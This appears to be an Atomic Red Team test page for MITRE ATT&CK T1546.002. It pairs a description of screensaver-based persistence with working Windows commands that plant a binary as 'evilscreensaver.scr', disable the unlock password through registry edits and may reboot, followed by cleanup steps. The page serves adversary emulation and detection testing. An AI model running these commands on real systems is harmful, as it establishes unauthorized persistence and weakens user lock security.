T1546.002
Event Triggered Execution: Screensaver
Description from ATT&CK
Adversaries may establish persistence by executing malicious content triggered by user inactivity. Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.scr is located in C:\Windows\System32**_, and _C:\Windows\sysWOW64** on 64-bit Windows systems, along with screensavers included with base Windows installations.
The following screensaver settings are stored in the Registry (**HKCU\Control Panel\Desktop**) and could be manipulated to achieve persistence:
- SCRNSAVE.exe - set to malicious PE path
- ScreenSaveActive - set to '1' to enable the screensaver
- ScreenSaverIsSecure - set to '0' to not require a password to unlock
- ScreenSaveTimeout - sets user inactivity timeout before screensaver is executed
Adversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity.(Citation: ESET Gazer Aug 2017)
Atomic Tests
Atomic Test #1 - Set Arbitrary Binary as Screensaver
This test copies a binary into the Windows System32 folder and sets it as the screensaver so it will execute for persistence. Requires a reboot and logon.
Supported Platforms: windows
auto_generated_guid: 281201e7-de41-4dc9-b73d-f288938cbb64
Inputs:
Name | Description | Type | Default Value |
---|---|---|---|
input_binary | Executable binary to use in place of screensaver for persistence | path | C:\Windows\System32\cmd.exe |
reboot | Set to non-zero value if you want the test to reboot the system so that changes take effect | integer | 0 |
Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)
1
2
3
4
5
6
7
reg export "HKEY_CURRENT_USER\Control Panel\Desktop" %userprofile%\backup.reg
copy #{input_binary} "%SystemRoot%\System32\evilscreensaver.scr"
reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaveActive /t REG_SZ /d 1 /f
reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaveTimeout /t REG_SZ /d 60 /f
reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaverIsSecure /t REG_SZ /d 0 /f
reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v SCRNSAVE.EXE /t REG_SZ /d "%SystemRoot%\System32\evilscreensaver.scr" /f
if #{reboot} NEQ 0 shutdown /r /t 0
Cleanup Commands:
1
2
3
reg import %userprofile%\backup.reg
del %userprofile%\backup.reg
del %SystemRoot%\System32\evilscreensaver.scr